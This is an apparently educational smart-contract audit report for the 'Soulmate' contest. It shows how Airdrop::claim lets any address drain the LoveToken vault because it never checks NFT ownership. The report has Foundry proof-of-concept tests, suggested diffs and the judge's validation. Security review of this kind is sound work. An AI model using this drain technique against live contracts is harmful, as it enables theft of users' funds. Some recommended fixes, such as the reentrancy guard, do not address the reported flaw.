First Flight #9: Soulmate
First Flight #9
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can drain `AirdropVault` using `Airdrop::claim` function

0xe4669da

Summary

There are two possible scenarios. In both of the scenarios the ultimate moto of the Attacker will be to drain the funds from the Airdrop Vault. Attacker will exploit the vulnerability that is in Soulmate::idToCreationTimestamp function. Furthermore, there is no restriction/validation that msg.sender actually owns any SoulmateToken.

Vulnerability Details

Scenario 1: Attacker attacks before any Soulmate token is minted

In this scenario the attacker can immediately drain all the 500m tokens from the Airdrop Vault.

Attacker will first find out the total balance of Love Tokens held within the Airdrop Vault. Then he will try to replicate the logic of calculating Airdrop::claim::numberOfDaysInCouple variable and he will divide the block.timstamp with the daysInSecond it will result into the number of tokens that can be claimed in one call. Then the attacker will divide the balance / 1e18 with the number of tokens he can claim in one call this is how attacker will compute the total calls (total number of addresses) that he needs.

Now Attacker will call Airdrop::claim function (the above) number of calculated times with different addresses and the attack succceeds. Proof of Concept is also provided in the following section of this report.

In below snippet source line of vulnerability is pointed, in which Airdrop::claim::numberOfDaysInCouple will always be a big number because 0 will be subtracted from block.timestamp because in our scenario Soulmate::idToCreationTimestamp function will always return 0.

Source Code

Airdrop.sol:
https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L51C5-L89C6

function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
​
// Calculating since how long soulmates are reunited
@> uint256 numberOfDaysInCouple = (block.timestamp -
@> soulmateContract.idToCreationTimestamp(
soulmateContract.ownerToId(msg.sender)
)) / daysInSecond;
​
uint256 amountAlreadyClaimed = _claimedBy[msg.sender];
​
if (
amountAlreadyClaimed >=
numberOfDaysInCouple * 10 ** loveToken.decimals()
) revert Airdrop__PreviousTokenAlreadyClaimed();
​
uint256 tokenAmountToDistribute = (numberOfDaysInCouple *
10 ** loveToken.decimals()) - amountAlreadyClaimed;
​
// Dust collector
if (
tokenAmountToDistribute >=
loveToken.balanceOf(address(airdropVault))
) {
tokenAmountToDistribute = loveToken.balanceOf(
address(airdropVault)
);
}
_claimedBy[msg.sender] += tokenAmountToDistribute;
​
emit TokenClaimed(msg.sender, tokenAmountToDistribute);
​
loveToken.transferFrom(
address(airdropVault),
msg.sender,
tokenAmountToDistribute
);
}

Scenario 2: Attacker attacks after multiple Soulmate tokens are minted

In this scenario the attacker will drain the remaining tokens from the Airdrop Vault. Attacker will first find out the total balance of Love Tokens remaining in the Airdrop Vault. In this scenario, the higher the number of days passed (since first token was minted) the higher the number of tokens Attacker can claim in a call.

In this scenario Soulmate::idToCreationTimestamp function will always return the creation time of first SoulmateToken id.

The Attacker will again compute the total calls (total number of addresses) that he needs in order to drain all the remaining LoveTokens in Airdrop Vault.

Now Attacker will call Airdrop::claim function (the above) number of calculated times with different addresses and the attack succceeds. For clarity, in the PoC each and every line is commented.

Please note that source of the code is same as provided in Scenario 1.

Impact

Scenario 1:

In this scenario the attacker can immediately drain all the 500m tokens from the Airdrop Vault.

Scenario 2:

In this scenario the attacker can drain all remaining tokens from the Airdrop Vault.

Proof of Concepts

Scenario 1

Code ```forge test --match-path test/unit/AirdropTest.t.sol --match-test test_AnyoneCanDrainAirdropVault -vv --fork-url $RPC_URL```
function test_AnyoneCanDrainAirdropVault() public {
uint256 targetTokensToDrain = 500_000_000 * 1e18;
uint256 tokensInSingleCall = (block.timestamp / 1 days);
uint256 attackerCalulatedTxCount = (targetTokensToDrain / 1e18) / tokensInSingleCall;
// This attack is performed on sepolia fork in order to get the real like block.timestamp
// Balance of Airdrop Vault before the attack
uint256 balanceBefore = loveToken.balanceOf(address(airdropVault));
​
// attack with multiple addresses
// for (uint i; i < attackerCalulatedTxCount; i++){
for (uint i; i < 2; i++){ // For the sake of simplicity I am just running it two times
vm.prank(makeAddr(string(abi.encode(i))));
airdropContract.claim();
}
​
// Balance of Airdrop Vault after attack
uint256 balanceafter = loveToken.balanceOf(address(airdropVault));
uint256 fundsDrained = (balanceBefore - balanceafter) / 1e18;
​
assert(fundsDrained == tokensInSingleCall * 2);
}

Scenario 2

Code
function test_AnyoneCanDrainAirdropVault() public {
address auditSoulmate1 = makeAddr("auditSoulmate1");
address auditSoulmate2 = makeAddr("auditSoulmate2");
// minting a soulmate token
vm.prank(auditSoulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(auditSoulmate2);
soulmateContract.mintSoulmateToken(); // soulmates reunited, token minted
​
// Let's assume that 1000 days have been passed since the protocol is live
vm.warp(block.timestamp + 1000 days + 1 seconds); // advancing time by 1000 days
​
// Balance of protocol before the attack
uint256 balanceBefore = loveToken.balanceOf(address(airdropVault));
​
// now the attacker finds out how much is the fund left in airdrop vault assume it's 200m tokens
// attacker sees that 1000 days have passed and for each day he can claim 1 token
// So he has to send the transaction from 200_000 different accounts (not a big deal)
uint256 targetTokensToDrain = 200_000_000 * 1e18;
uint256 attackerCalulatedTxCount = 200_000;
// attack with multiple addresses
for (uint i; i < attackerCalulatedTxCount; i++){
vm.prank(makeAddr(string(abi.encode(i))));
airdropContract.claim();
}
​
// Balance of protocol after attack
uint256 balanceafter = loveToken.balanceOf(address(airdropVault));
​
assert(targetTokensToDrain == (balanceBefore - balanceafter));
}

Tools Used

Manual Review

Recommendations

We should implement multiple mitigations as below:

  • because there are number of external calls, we should use reentrancy guard

  • Soulmate::nextID shoule be incremented before updating the state

Diff

Implementing reentrancy guard

Airdrop.sol:

+ import {ReentrancyGuard} from "@solmate/utils/ReentrancyGuard.sol";
- contract Airdrop {
+ contract Airdrop is ReentrancyGuard {
...
- function claim() public {
+ function claim() public nonReentrant {
​
...
​
}
​

Implementing Soulmate::nextID increment and validation in Airdrop.sol

Soulmate.sol:

function mintSoulmateToken() public returns (uint256) {
// Check if people already have a soulmate, which means already have a token
address soulmate = soulmateOf[msg.sender];
if (soulmate != address(0))
revert Soulmate__alreadyHaveASoulmate(soulmate);
​
address soulmate1 = idToOwners[nextID][0];
address soulmate2 = idToOwners[nextID][1];
+ nextID++;
if (soulmate1 == address(0)) {
idToOwners[nextID][0] = msg.sender;
ownerToId[msg.sender] = nextID;
emit SoulmateIsWaiting(msg.sender);
} else if (soulmate2 == address(0)) {
...
​
- _mint(msg.sender, nextID++);
+ _mint(msg.sender, nextID);
}
​
return ownerToId[msg.sender];
}

Airdrop.sol:

contract Airdrop is ReentrancyGuard {
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Airdrop__CoupleIsDivorced();
error Airdrop__PreviousTokenAlreadyClaimed();
​
+ error Airdrop__NotSolmateTokenHolder();
...
​
function claim() public {
// No LoveToken for people who don't love their soulmates anymore.
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ if (soulmateContract.ownerToId(msg.sender) == 0) revert Airdrop__NotSolmateTokenHolder();
​
...
​
}
}
​
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

0xe4669da Submitter
over 1 year ago
0xnevi Lead Judge
over 1 year ago
0xe4669da Submitter
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claim-airdrop-without-owning-NFT

High severity, This issue is separated from the flawed `isDivorced()` check presented in issue #168 as even if that is fixed, if ownership is not checked, isDivorced would still default to false and allow bypass to claim airdrops by posing as tokenId 0 in turn resulting in this [important check for token claim is bypassed.](https://github.com/Cyfrin/2024-02-soulmate/blob/b3f9227942ffd5c443ce6bccaa980fea0304c38f/src/Airdrop.sol#L61-L66). #220 is the most comprehensive issue as it correctly recognizes both issues existing within the same function.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.